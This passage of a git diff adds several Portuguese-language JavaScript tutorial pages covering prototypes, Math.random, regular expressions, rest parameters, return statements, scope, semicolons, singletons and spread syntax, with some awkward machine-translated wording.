+ var obj2 = Object.create(obj1); 
+ obj2.a = 2; 
+ 
+ console.log(obj2.a); // 2 
+ console.log(obj2.b); // 2 
+ console.log(obj2.c); // undefined 
+```
+
+No trecho acima, a declaração `var obj2 = Object.create(obj1)` criará `obj2` objeto com protótipo `obj1` objeto. Em outras palavras, `obj1` se torna o protótipo de `obj2` invés de `Object.prototype` por padrão. Como você pode ver, `b` não é uma propriedade de `obj2` , você ainda pode acessá-lo através da cadeia de protótipos. Para a propriedade `c` , no entanto, você obtém `undefined` valor `undefined` porque não pode ser localizado em `obj1` e `Object.prototype` .
+
+### Classes
+
+No ES2016, agora podemos usar a palavra-chave `Class` e os métodos mencionados acima para manipular o `prototype` . A `Class` JavaScript agrada aos desenvolvedores de origens de OOP, mas basicamente faz a mesma coisa que acima.
+
+```javascript
+class Rectangle { 
+  constructor(height, width) { 
+    this.height = height 
+    this.width = width 
+  } 
+ 
+  get area() { 
+    return this.calcArea() 
+  } 
+ 
+  calcArea() { 
+    return this.height * this.width 
+  } 
+ } 
+ 
+ const square = new Rectangle(10, 10) 
+ 
+ console.log(square.area) // 100 
+```
+
+Isso é basicamente o mesmo que:
+
+```javascript
+function Rectangle(height, width) { 
+  this.height = height 
+  this.width = width 
+ } 
+ 
+ Rectangle.prototype.calcArea = function calcArea() { 
+  return this.height * this.width 
+ } 
+```
+
+Os métodos `getter` e `setter` em classes associam uma propriedade Object a uma função que será chamada quando essa propriedade for procurada. É apenas açúcar sintático para ajudar a facilitar a _pesquisa_ ou a _definição de_ propriedades.
+
+**Leitura adicional:**
+
+*   [MDN: protótipos de objetos](https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects/Object_prototypes)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/random-method/index.md b/client/src/guide/portuguese/javascript/random-method/index.md
new file mode 100644
index 0000000000..5b70ea7cfa
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/random-method/index.md
@@ -0,0 +1,110 @@
+---
+title: Random Method
+localeTitle: Método aleatório
+---
+## Método aleatório
+
+O método JavaScript `Math.random()` é um excelente método integrado para produzir números aleatórios. Quando `Math.random()` é executado, ele retorna um número aleatório que pode estar em qualquer lugar entre 0 e 1. O 0 é incluído e 1 é excluído.
+
+### Gerando um número de ponto flutuante aleatório entre 0 e 1
+
+O método `Math.random()` retornará um número de ponto flutuante (decimal) maior ou igual a 0 e menor que (mas nunca igual a) 1. Em outras palavras, `0 <= x < 1` . Por exemplo:
+
+```JavaScript
+console.log(Math.random()); 
+ // 0.7069207248635578 
+ 
+ console.log(Math.random()); 
+ // 0.765046694794209 
+ 
+ console.log(Math.random()); 
+ // 0.14069121642698246 
+```
+
+(É claro que os números retornados serão diferentes a cada vez. Isso será assumido para todos os exemplos a seguir - resultados diferentes acontecerão em cada passagem.)
+
+Para obter um número aleatório entre um intervalo maior, multiplique o resultado de `Math.random()` por um número.
+
+### Gerando um número de ponto flutuante aleatório entre 0 e um máximo especificado
+
+Normalmente você não precisa de números aleatórios entre 0 e 1 - você precisa de números maiores ou até inteiros.
+
+Por exemplo, se você quiser um número de ponto flutuante aleatório entre 0 e 10, você pode usar:
+
+```JavaScript
+var x = Math.random()*10; 
+ 
+ console.log(x); 
+ // 4.133793901445541 
+```
+
+### Gerando um número de ponto flutuante aleatório dentro de um intervalo
+
+Se você precisa de um número de ponto flutuante aleatório que varia entre dois números específicos, você poderia fazer algo parecido com isto:
+
+```JavaScript
+var min = 83.1; 
+ var max = 193.36; 
+ 
+ var x = Math.random()*(max - min)+min; 
+ 
+ console.log(x); 
+ // 126.94014012699063 
+```
+
+### Gerando um inteiro aleatório entre 0 e um máximo
+
+Muitas vezes você precisa de números inteiros. Para fazer isso, você terá que usar alguns outros métodos do objeto `Math` , `Math.floor()` (arredondado para baixo até o inteiro mais próximo) e `Math.ceil()` (arredonda para o inteiro mais próximo).
+
+Por exemplo, se você precisar selecionar aleatoriamente de uma matriz de 10 elementos, precisará de um número aleatório entre 0 e 9 inclusive (lembre-se de que as matrizes são indexadas como zero).
+
+```JavaScript
+var x = Math.floor(Math.random()*10); 
+ 
+ console.log(x); 
+ // 7 
+```
+
+(Lembre-se que `Math.random()` nunca retornará exatamente 1, então `Math.random()*10` nunca retornará exatamente 10. Isso significa que após o arredondamento, o resultado será sempre 9 ou menos.)
+
+### Gerando um inteiro aleatório entre 1 e um máximo
+
+Se você precisar de um número aleatório com o número mínimo de 1 (por exemplo, escolhendo um dia aleatório em janeiro), você pode usar o método `Math.ceil()` .
+
+```JavaScript
+var x = Math.ceil(Math.random()*31); 
+ 
+ console.log(x); 
+ // 23 
+```
+
+Outra maneira seria usar a função anterior (usando `Math.floor()` ) e adicionar 1 a ela:
+
+```JavaScript
+var x = Math.floor(Math.random()*31)+1; 
+ 
+ console.log(x); 
+ // 17 
+```
+
+### Gerando um inteiro aleatório dentro de um intervalo
+
+Por fim, ocasionalmente, você precisa de um inteiro aleatório entre dois inteiros específicos. Por exemplo, se você estiver tentando comprar bilhetes de rifa e souber os números do menor e do maior número:
+
+```JavaScript
+var min = 1718; 
+ var max = 3429; 
+ 
+ var x = Math.floor(Math.random()*(max-min+1)+min); 
+ 
+ console.log(x); 
+ //2509 
+```
+
+### Quão aleatório é Math.random ()?
+
+Pode-se notar que o número retornado por `Math.random()` é um número pseudo-aleatório, pois nenhum computador pode gerar um número verdadeiramente aleatório, que exiba aleatoriedade em todas as escalas e em todos os tamanhos de conjuntos de dados. No entanto, o número pseudo-aleatório gerado por `Math.random()` é geralmente suficiente para as necessidades de praticamente qualquer programa que você possa escrever. A não-verdadeiramente-aleatoriedade só se torna aparente em conjuntos de números astronomicamente grandes ou quando decimais incomumente precisos são necessários.
+
+### Mais Informações:
+
+*   Documentação: [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/random)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/regular-expressions-reference/index.md b/client/src/guide/portuguese/javascript/regular-expressions-reference/index.md
new file mode 100644
index 0000000000..84f9ecac6d
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/regular-expressions-reference/index.md
@@ -0,0 +1,96 @@
+---
+title: Regular Expressions Reference
+localeTitle: Referência de expressões regulares
+---
+## Referência de expressões regulares
+
+Em JavaScript, as expressões regulares são um atalho usado para corresponder à parte desejada de uma string. Isso é benéfico ao tentar manipular ou validar as strings usadas no seu código.
+
+### Sintaxe
+
+Expressões regulares são compostas de duas partes - o `pattern` e as `flags` (opcional). O padrão é gravado entre duas barras, seguido pelos sinalizadores opcionais: `var exp = /pattern/flags` .
+
+#### Padrões
+
+O uso de caracteres alfanuméricos (AZ, az, 0-9) faz uma correspondência direta. No entanto, o poder real das expressões regulares vem com classes de caracteres.
+
+Digamos, por exemplo, você quer para todos os lugares uma string que tenha um número de 0 a 9. Em vez de chamar explicitamente `/[0-9]/` , você pode usar a classe de caractere especial de `/\d/` . A barra invertida escapa do caractere `d` (portanto, não corresponde à letra `d` ), mas usa as habilidades de correspondência especiais de `\d` .
+
+Esse mesmo princípio se aplica a caracteres não numéricos, espaços em branco e outros grupos de correspondência ampla. Expressões regulares podem se tornar ainda mais sofisticadas com o uso de certos modificadores, como o caractere `+` .
+
+Esse quantificador permite que você corresponda ao caractere precedente em seu padrão uma ou mais vezes. `/s+/` iria coincidir com os `s` no `desert` e os dois `s` 's em `dessert` !
+
+Há muito mais modificadores que permitem que seu padrão corresponda ao que você possa precisar. Veja a seção More Information abaixo para ver todas as opções de caracteres possíveis para uso em expressões regulares.
+
+#### Bandeiras
+
+Existem 5 sinalizadores que você pode usar para aplicar regras específicas a toda a expressão regular que está escrevendo. Eles são:
+
+`g` - o jogo global; Isso permite que você corresponda a todas as instâncias de sua expressão, em vez de parar após a primeira ocorrência.
+
+`i` - o caso de ignorar correspondência (auto-explicativo)
+
+`m` - o jogo de várias linhas; isso aplica seu padrão a cada linha como nova; Se você estiver procurando por uma linha que comece com um padrão específico, isso será feito para todas as linhas, em vez de apenas para a primeira.
+
+`u` - a correspondência Unicode; isso sinaliza para ler seu padrão como Unicode em vez de texto simples
+
+`y` - o fósforo pegajoso; isso corresponde ao seu padrão somente começando no índice encontrado na propriedade `RegExp.lastIndex`
+
+### Criando uma expressão regular
+
+Uma expressão regular é um tipo de objeto. Pode ser construído com o construtor RegExp ou escrito como um valor literal, colocando o padrão em caracteres de barra (/).
+```
+var re1 = new RegExp (" abc ") ; 
+ var re2 = / abc /; 
+```
+
+Ambos os objetos de expressão regular representam o mesmo padrão: um um caractere seguido por ab seguido por um c.
+
+### O objeto RegExp
+
+`RegExp` é um construtor que cria um objeto a partir do padrão de expressão regular que você cria. Além da notação literal descrita acima, você também pode usar o formato do construtor para criar uma expressão regular: `new RegExp(pattern[, flags])`
+
+### Teste para jogos
+```
+console . log (/ abc /. test (" abcde ") ); 
+ // → true 
+ console . log (/ abc /. test (" abxde ") ); 
+ // → false 
+```
+
+### Combinando um conjunto de caracteres
+```
+console . log (/[0123456789]/. test (" in 1992") ); 
+ // → true 
+ console . log (/[0 -9]/. test (" in 1992") ); 
+ // → true 
+```
+
+### Padrões de escolha
+```
+var animalCount = /\ b \ d + ( pig | cow | chicken )s ?\ b /; 
+ console . log ( animalCount . test ("15 pigs ") ); 
+ // → true 
+ console . log ( animalCount . test ("15 pigchickens ") ); 
+ // → false 
+```
+
+#### Métodos
+
+Você provavelmente usará expressões regulares nos métodos `String` , como `String.replace()` , mas há alguns métodos que pertencem ao objeto `RegExp` .
+
+Por exemplo, `RegExp.test()` retornará um booleano para saber se existe uma correspondência entre o padrão de expressão regular e a sequência em questão. `RegExp.toString()` irá transformar o objeto de expressão em uma string, o que pode ser útil ao executar testes em seu código.
+
+O primeiro argumento também pode ser uma expressão regular, caso em que a primeira correspondência da expressão regular é substituída. Quando a opção ag (para global) é adicionada à expressão regular, todas as correspondências na sequência serão substituídas, não apenas a primeira.
+```
+console . log (" Borobudur ". replace (/[ ou ]/ , "a ") ); 
+ // → Barobudur 
+ console . log (" Borobudur ". replace (/[ ou ]/g , "a ") ); 
+ // → Barabadar 
+```
+
+### Mais Informações:
+
+*   [Aqui você pode ler](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp) sobre todos os caracteres de correspondência de padrões, propriedades de objetos, ver alguns exemplos e mais.
+    
+*   [Aqui está um ótimo site](https://regex101.com/) que permite testar padrões de expressão regular em tempo real, salvar seus favoritos e explorar padrões criados por outras pessoas.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/rest-parameters/index.md b/client/src/guide/portuguese/javascript/rest-parameters/index.md
new file mode 100644
index 0000000000..0fd6a94c48
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/rest-parameters/index.md
@@ -0,0 +1,37 @@
+---
+title: Rest Parameters
+localeTitle: Parâmetros de descanso
+---
+## Parâmetros de descanso
+
+No ES6, a sintaxe do resto do parâmetro `...` permite reunir um número indefinido de argumentos em uma matriz.
+
+Mesmo que pareçam iguais, ele faz o oposto do operador de propagação, que pega cada item de um iterável e os espalha em seus valores individuais.
+
+### Sintaxe
+
+```js
+function myFunc(...args) { 
+  console.log(args); 
+ } 
+ 
+ myFunc( 1, 2, 3, 4, 5);       // [1,2,3,4,5] 
+```
+
+Você pode prefixar o último parâmetro de uma função com `...` quando quiser fazer algo com os parâmetros iniciais e depois tratar todos os demais parâmetros de maneira diferente.
+
+```js
+function convertCurrency(rate, fee, ...amounts) { 
+  return amounts.map(amount => (amount * rate) + fee); 
+ } 
+ 
+ convertCurrency(0.89, 2.5, 100, 250, 75, 150, 300); // [ 91.5, 225, 69.25, 136, 269.5 ] 
+```
+
+O `...` permite reunir o restante dos argumentos, se houver algum, em uma matriz.
+
+### A diferença entre os parâmetros de descanso e o objeto de argumentos
+
+`arguments` é um objeto do tipo array, disponível dentro de funções, que contém os argumentos passados ​​para essas funções. É chamado de "array-like" porque não possui todos os métodos `.forEach()` de um array, como `.forEach()` e `.map()` .
+
+Os parâmetros restantes são uma matriz, com todos os métodos da matriz incluídos.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/return-statements/index.md b/client/src/guide/portuguese/javascript/return-statements/index.md
new file mode 100644
index 0000000000..38c90dbda3
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/return-statements/index.md
@@ -0,0 +1,86 @@
+---
+title: Return Statement
+localeTitle: Declaração de Devolução
+---
+## Introdução
+
+Quando uma instrução de **retorno** é chamada em uma função, a execução dessa função é interrompida. Se especificado, um determinado valor é retornado ao chamador da função. Se a expressão for omitida, `undefined` será retornado.
+
+```js
+    return expression; 
+```
+
+Funções podem retornar:
+
+*   Valores primitivos (string, number, boolean, etc.)
+*   Tipos de objetos (matrizes, objetos, funções, etc.)
+
+Nunca retorne algo em uma nova linha sem usar parênteses. Esta é uma peculiaridade do JavaScript e o resultado será indefinido. Tente sempre usar parênteses ao retornar algo em várias linhas.
+
+```javascript
+function foo() { 
+    return 
+      1; 
+ } 
+ 
+ function boo() { 
+    return ( 
+      1 
+    ); 
+ } 
+ 
+ foo(); --> undefined 
+ boo(); --> 1 
+```
+
+## Exemplos
+
+A função a seguir retorna o quadrado de seu argumento, **x** , onde **x** é um número.
+
+```js
+    function square(x) { 
+       return x * x; 
+    } 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/C7VT/0)
+
+A função a seguir retorna o produto de seus argumentos, **arg1** e **arg2** .
+
+```js
+    function myfunction(arg1, arg2){ 
+       var r; 
+       r = arg1 * arg2; 
+       return(r); 
+    } 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/C7VU/0)
+
+Quando uma função `return` um valor sa, o valor pode ser atribuído a uma variável usando o operador de atribuição ( `=` ). No exemplo abaixo, a função retorna o quadrado do argumento. Quando a função resolve ou termina, seu valor é o valor `return` . O valor é então atribuído à variável `squared2` .
+
+```javascript
+    function square(x) { 
+        return x * x; 
+    } 
+ 
+    let squared2 = square(2); // 4 
+```
+
+Se não houver instrução de retorno explícita, significando que a função está faltando a palavra-chave `return` , a função retorna automaticamente `undefined` . No exemplo a seguir, a função `square` está faltando a palavra-chave `return` . Quando o resultado de chamar a função é atribuído a uma variável, a variável tem um valor `undefined` .
+
+```javascript
+    function square(x) { 
+        let y = x * x; 
+    } 
+ 
+    let squared2 = square(2); // undefined 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/M8BE)
+
+#### Mais Informações:
+
+[Ligação MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/return)
+
+[Link do MSDN](https://msdn.microsoft.com/en-us/library/22a685h9.aspx)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/scopes/index.md b/client/src/guide/portuguese/javascript/scopes/index.md
new file mode 100644
index 0000000000..a6cf7da032
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/scopes/index.md
@@ -0,0 +1,131 @@
+---
+title: Scopes
+localeTitle: Escopos
+---
+Se você já está programando em JavaScript há algum tempo, sem dúvida se depara com um conceito conhecido como `scope` . O que é `scope` ? Por que você deveria ter tempo para aprender?
+
+Na linguagem do programador, o `scope` é o **contexto atual de execução** . Confuso? Vamos dar uma olhada no seguinte trecho de código:
+```
+var foo = 'Hi, I am foo!'; 
+ 
+ var baz = function () { 
+  var bar = 'Hi, I am bar too!'; 
+    console.log(foo); 
+ } 
+ 
+ baz(); // Hi, I am foo! 
+ console.log(bar); // ReferenceError... 
+```
+
+Este é um exemplo simples, mas ilustra bem o que é conhecido como _escopo Lexical_ . JavaScript e quase todas as outras linguagens de programação possuem um _escopo Lexical_ . Existe outro tipo de escopo conhecido como _escopo Dinâmico_ , mas não discutiremos isso.
+
+Agora, o termo _escopo Lexical_ parece chique, mas como você verá, é realmente simples em princípio. Em um escopo léxico, existem dois tipos de escopos: o _escopo global_ e um _escopo local_ .
+
+Antes de digitar a primeira linha de código em seu programa, um _escopo global_ é criado para você. Isto contém todas as variáveis ​​que você declara em seu programa **fora de qualquer função** .
+
+No exemplo acima, a variável `foo` está no escopo global do programa, enquanto a `bar` variáveis ​​é declarada dentro de uma função e, portanto, está **no escopo local dessa função** .
+
+Vamos dividir o exemplo linha por linha. Enquanto você pode estar confuso neste momento, eu prometo que você terá uma compreensão muito melhor no momento em que terminar de ler isto.
+
+Na linha 1, estamos declarando a variável `foo` . Nada muito chique aqui. Vamos chamar isso de uma referência de tamanho esquerdo (LHS) para `foo` , porque estamos atribuindo um valor a `foo` e ele está no lado esquerdo do sinal de `equal` .
+
+Na linha 3, estamos declarando uma função e atribuindo-a à variável `baz` . Esta é outra referência do LHS ao `baz` . Estamos atribuindo um valor a ele (lembre-se, funções são valores também!). Esta função é então chamada na linha 8. Esta é uma RHS, ou uma referência do lado direito para `baz` . Estamos recuperando o valor de `baz` , que neste caso é uma função e, em seguida, invocando-o. Outra referência de RHS a `baz` seria se atribuíssemos seu valor a outra variável, por exemplo, `foo = baz` . Esta seria uma referência de LHS para `foo` e uma referência de RHS para `baz` .
+
+As referências de LHS e RHS podem soar confusas, mas são importantes para discutir o escopo. Pense desta maneira: uma referência de LHS está atribuindo um valor à variável, enquanto uma referência de RHS está recuperando o valor da variável. Eles são apenas uma maneira mais curta e conveniente de dizer "recuperar o valor" e "atribuir um valor".
+
+Vamos agora detalhar o que está acontecendo dentro da própria função.
+
+Quando o compilador compila o código dentro de uma função, ele entra no **escopo local** da função.
+
+Na linha 4, a `bar` variáveis ​​é declarada. Esta é uma referência de LHS para `bar` . Na próxima linha, temos uma referência RHS para `foo` dentro do `console.log()` . Lembre-se, estamos recuperando o valor de `foo` e passando-o como um argumento para o método `console.log()` .
+
+Quando temos uma referência RHS para `foo` , o compilador procura a declaração da variável `foo` . O compilador não o encontra na função em si ou no **escopo local da função, de** modo que **sobe um nível: para o escopo global** .
+
+Nesse ponto, você provavelmente está pensando que o escopo tem algo a ver com variáveis. Está correto. Um escopo pode ser considerado como um contêiner para variáveis. Todas as variáveis ​​que são criadas dentro de um escopo local só são acessíveis nesse escopo local. No entanto, todos os escopos locais podem acessar o escopo global. (Eu sei que você provavelmente está ainda mais confuso agora, mas apenas fique comigo por mais alguns parágrafos).
+
+Assim, o compilador vai até o escopo global para encontrar uma referência de LHS para a variável `foo` . Ele encontra um na linha 1, então recupera o valor da referência LHS, que é uma string: `'Hi, I am foo!'` . Essa sequência é enviada para o método `console.log()` e enviada para o console.
+
+O compilador terminou de executar o código dentro da função, então voltamos para a linha 9. Na linha 9, temos uma referência RHS para a `bar` variáveis.
+
+Agora, `bar` foi declarado no escopo local do `baz` , mas há uma referência de RHS para `bar` no escopo global. Como não há referência de LHS para `bar` no escopo global, o compilador não pode encontrar um valor para a `bar` e lança um ReferenceError.
+
+Mas, você pode perguntar, se a função pode olhar para fora de si mesmo para variáveis, ou um escopo local pode espreitar o escopo global para encontrar referências de LHS, por que o escopo global não pode espiar em um escopo local? Bem, é assim que o escopo léxico funciona!
+```
+... // global scope 
+ var baz = function() { 
+  ... // baz's scope 
+ } 
+ ... /// global scope 
+```
+
+Este é o mesmo código acima que ilustra o escopo. Isso forma uma espécie de hierarquia que sobe para o escopo global:
+
+`baz -> global` .
+
+Portanto, se houver uma referência de RHS para uma variável dentro do escopo de `baz` , ela poderá ser preenchida por uma referência de LHS para essa variável no escopo global. Mas o oposto **não** é **verdade** .
+
+E se tivéssemos outra função dentro do `baz` ?
+```
+... // global scope 
+ var baz = function() { 
+  ... // baz's scope 
+ 
+  var bar = function() { 
+     ... // bar's scope. 
+  } 
+ 
+ } 
+ ... /// global scope 
+```
+
+Nesse caso, a hierarquia ou a **cadeia de escopo** ficaria assim:
+
+`bar -> baz -> global`
+
+Quaisquer referências de RHS dentro do escopo local da `bar` podem ser preenchidas por referências de LHS no escopo global ou escopo de `baz` , mas uma referência de RHS no escopo de `baz` não pode ser preenchida por uma referência de LHS no escopo da `bar` .
+
+**Você só pode percorrer uma cadeia de escopo, não para cima.**
+
+Existem outras duas coisas importantes que você deve saber sobre escopos JavaScript.
+
+1.  Os escopos são declarados por funções, não por blocos.
+2.  As funções podem ser encaminhadas para referência, as variáveis ​​não podem.
+
+Observe (cada comentário descreve o escopo na linha em que está escrito):
+
+\`\` \` // outer () está no escopo aqui porque as funções podem ser referenciadas
+```
+function outer() { 
+ 
+    // only inner() is in scope here 
+    // because only functions are forward-referenced 
+ 
+    var a = 1; 
+ 
+    //now 'a' and inner() are in scope 
+ 
+    function inner() { 
+        var b = 2 
+ 
+        if (a == 1) { 
+            var c = 3; 
+        } 
+ 
+        // 'c' is still in scope because JavaScript doesn't care 
+        // about the end of the 'if' block, only function inner() 
+    } 
+ 
+    // now b and c are out of scope 
+    // a and inner() are still in scope 
+ 
+ } 
+ 
+ // here, only outer() is in scope 
+```
+
+\`\` \`
+
+# Referências
+
+1.  [Escopos e fechos](https://github.com/getify/You-Dont-Know-JS/tree/master/scope%20%26%20closures) por Kyle Simpson. Ele entra em mais detalhes de como o mecanismo de escopo funciona, e também tem uma descrição superficial de como o compilador JavaScript funciona, então se você estiver interessado nisso, definitivamente dê uma lida! É grátis no GitHub e pode ser comprado na O'Reilly.
+2.  [Segredos do JavaScript Ninja](https://www.amazon.com/Secrets-JavaScript-Ninja-John-Resig/dp/1617292850/ref=pd_lpo_sbs_14_img_0?_encoding=UTF8&psc=1&refRID=YMC2TB2C0DFHTQ3V62CA) por John Resig e Bear Bibeault. Um excelente guia para uma compreensão mais aprofundada do JavaScript.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/semicolons/index.md b/client/src/guide/portuguese/javascript/semicolons/index.md
new file mode 100644
index 0000000000..8ae6bd28c9
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/semicolons/index.md
@@ -0,0 +1,29 @@
+---
+title: Semicolons
+localeTitle: Ponto e vírgula
+---
+Pontos-e-vírgulas não são necessários em Javascript. Isso ocorre porque o Javascript tem um recurso chamado "Automatic Semicolon Insertion" ou ASI abreviado. ASI coloca ponto e vírgula no seu Javascript para você. Está sempre ativo por padrão e faz parte do idioma e não pode ser desativado.
+
+O ASI tem um conjunto de regras que ele usa para determinar onde deve inserir ponto e vírgula. Se já houver um ponto e vírgula, isso não mudará nada. Veja [esta resposta do StackOverflow](http://stackoverflow.com/a/2846298/3467946) para mais informações sobre como o ASI funciona.
+
+Há apenas um caso em que o ASI falha: quando uma linha começa com um colchete de abertura `(` . Para evitar isso causando erros, quando uma linha começa com um colchete de abertura, você pode colocar um ponto-e-vírgula no início da linha que possui o colchete de abertura :
+
+```js
+;(function() { 
+  console.log('Hi!') 
+ }) 
+```
+
+Observe que isso é necessário apenas se você não usar ponto e vírgula.
+
+Um estilo de codificação consistente torna o código mais legível. Decida se você irá ou não usar ponto-e-vírgula e faça isso em todos os lugares.
+
+## Erros que você pode encontrar
+
+Quando o Javascript foi feito pela primeira vez, foi feito para ajudar os iniciantes a entrarem na programação. Ninguém quer procurar por um ponto-e-vírgula no código quando começa a programar. Assim, a escolha do ponto e vírgula foi implementada, como dito acima, eles estão tecnicamente lá.
+
+Por exemplo: `javasctipt function foo(x) { return function(y) { return x + y; } } let z = foo(10); z(10)// TypeError z is not a function // Because of Automatic Semicolon Insertion, our inner function does not exist.` Javasctipt irá implementar ponto e vírgula onde eles são esperados.
+
+### Outros recursos
+
+[Uma carta aberta aos líderes do JavaScript em relação a ponto-e-vírgula](http://blog.izs.me/post/2353458699/an-open-letter-to-javascript-leaders-regarding)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/singleton-in-javscript/index.md b/client/src/guide/portuguese/javascript/singleton-in-javscript/index.md
new file mode 100644
index 0000000000..81a81a4400
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/singleton-in-javscript/index.md
@@ -0,0 +1,51 @@
+---
+title: Creating Singleton In JavaScript
+localeTitle: Criando singleton em JavaScript
+---
+## Criando Singleton No Guia De Javascript
+
+Este artigo é sobre como criar os Singletons no JavaScript nativo (puro). Esse conceito pode ser útil para manter um código limpo.
+
+Se você quiser manter seu código ou algum dado deve permanecer o mesmo para o seu aplicativo, esta é a maneira que você pode fazê-lo.
+
+**Conhecimento prévio** Isso é apenas para ajudá-lo a entender o conceito com mais facilidade. Caso contrário, você sempre poderá copiar e colar o código e alterá-lo de acordo.
+
+*   Sintaxe Javascript Básica
+*   Funções Javascript
+*   IIFE em Javascript
+
+### Vamos começar
+
+Vamos criar um objeto com a função IIFE que será executada instantaneamente para nos dar efeito de Singleton.
+```
+var singletonFn = (function(){ //Created IIFE Function 
+  var dataCounter = 0; 
+  return { //Any code inside this return stuff will be accessible directly using objectname. 
+ 
+    getDataCounter: function(){ 
+      return dataCounter; 
+    }, 
+ 
+    setDataCounter: function(val){ 
+      dataCounter = val; 
+    }, 
+ 
+    fishNames: ["SimpleFish"] //Can create variables, Arrays, etc. 
+  } 
+ })(); 
+```
+
+Agora para executar ou usar seu singleton. no navegador depois de salvá-lo no arquivo js e carregá-lo.
+```
+console.log(singletonFn.getDataCounter()); //0 as bydefault it will be 0. 
+ 
+ singletonFn.setDataCounter(20); 
+ 
+ console.log(singletonFn.getDataCounter()); //20 as we assigned. 
+ 
+ console.log(fishNames); //will Print array with "SimpleFish". 
+```
+
+Agora com esse conhecimento você pode definir constantes, enums ou qualquer coisa que precise usar múltiplos no projeto escrito aqui. ou algo parecido com configurações.
+
+Espero que isso ajude você a escrever códigos melhores. Codificação Feliz :)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/spread-syntax/index.md b/client/src/guide/portuguese/javascript/spread-syntax/index.md
new file mode 100644
index 0000000000..aaa36c5123
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/spread-syntax/index.md
@@ -0,0 +1,147 @@
+---
+title: Spread syntax
+localeTitle: Espalhe a sintaxe
+---
+## Espalhe a sintaxe
+
+A sintaxe de propagação permite que uma iterável, como uma expressão de matriz ou cadeia, seja expandida em locais onde zero ou mais argumentos (para chamadas de função) ou elementos (para literais de matriz) sejam esperados ou uma expressão de objeto seja expandida em locais onde zero é esperado .
+
+### Sintaxe
+
+Para chamadas de função:
+```
+myFunction(...iterableObj); 
+```
+
+Para literais ou strings de array:
+```
+[...iterableObj, '4', 'five', 6]; 
+```
+
+### Exemplos
+
+#### Espalhe em chamadas de função
+
+#### Substituir aplicar
+
+É comum usar o `Function.prototype.apply` nos casos em que você deseja usar os elementos de um array como argumentos para uma função.
+```
+function myFunction(x, y, z) { } 
+ var args = [0, 1, 2]; 
+ myFunction.apply(null, args); 
+```
+
+Com a sintaxe de propagação, o acima pode ser escrito como:
+```
+function myFunction(x, y, z) { } 
+ var args = [0, 1, 2]; 
+ myFunction(...args); 
+```
+
+Qualquer argumento na lista de argumentos pode usar a sintaxe de propagação e pode ser usado várias vezes.
+```
+function myFunction(v, w, x, y, z) { } 
+ var args = [0, 1]; 
+ myFunction(-1, ...args, 2, ...[3]); 
+```
+
+### Inscreva-se para novos
+
+Ao chamar um construtor com `new` , não é possível usar **diretamente** um array e `apply` ( `apply` faz um `[[Call]]` e não um `[[Construct]]` ). No entanto, um array pode ser facilmente usado com novos agradecimentos à sintaxe de propagação:
+```
+var dateFields = [1970, 0, 1];  // 1 Jan 1970 
+ var d = new Date(...dateFields); 
+```
+
+Para usar o novo com uma matriz de parâmetros sem sintaxe de propagação, você teria que fazê-lo **indiretamente** através da aplicação parcial:
+```
+function applyAndNew(constructor, args) { 
+   function partial () { 
+      return constructor.apply(this, args); 
+   }; 
+   if (typeof constructor.prototype === "object") { 
+      partial.prototype = Object.create(constructor.prototype); 
+   } 
+   return partial; 
+ } 
+ 
+ 
+ function myConstructor () { 
+   console.log("arguments.length: " + arguments.length); 
+   console.log(arguments); 
+   this.prop1="val1"; 
+   this.prop2="val2"; 
+ }; 
+ 
+ var myArguments = ["hi", "how", "are", "you", "mr", null]; 
+ var myConstructorWithArguments = applyAndNew(myConstructor, myArguments); 
+ 
+ console.log(new myConstructorWithArguments); 
+ // (internal log of myConstructor):           arguments.length: 6 
+ // (internal log of myConstructor):           ["hi", "how", "are", "you", "mr", null] 
+ // (log of "new myConstructorWithArguments"): {prop1: "val1", prop2: "val2"} 
+```
+
+### Espalhar em literais de array
+
+#### Um literal de array mais poderoso
+
+Sem a sintaxe de propagação, para criar uma nova matriz usando uma matriz existente como uma parte dela, a sintaxe literal da matriz não é mais suficiente e um código imperativo deve ser usado usando uma combinação de push, splice, concat, etc. torna-se muito mais sucinto:
+```
+var parts = ['shoulders', 'knees']; 
+ var lyrics = ['head', ...parts, 'and', 'toes']; 
+ // ["head", "shoulders", "knees", "and", "toes"] 
+```
+
+Assim como o spread para listas de argumentos, `...` pode ser usado em qualquer lugar no literal da matriz e pode ser usado várias vezes.
+
+### Copie uma matriz
+```
+var arr = [1, 2, 3]; 
+ var arr2 = [...arr]; // like arr.slice() 
+ arr2.push(4); 
+ 
+ // arr2 becomes [1, 2, 3, 4] 
+ // arr remains unaffected 
+```
+
+> **Nota** : A sintaxe de propagação atinge um nível de profundidade enquanto copia uma matriz. Portanto, pode ser inadequado para copiar matrizes multidimensionais como mostra o exemplo a seguir (é o mesmo com Object.assign () e sintaxe de propagação).
+```
+var a = [[1], [2], [3]]; 
+ var b = [...a]; 
+ b.shift().shift(); // 1 
+ // Now array a is affected as well: [[], [2], [3]] 
+```
+
+### Uma maneira melhor de concatenar matrizes
+
+`Array.concat` é freqüentemente usado para concatenar uma matriz ao final de uma matriz existente. Sem a sintaxe de propagação, isso é feito como:
+```
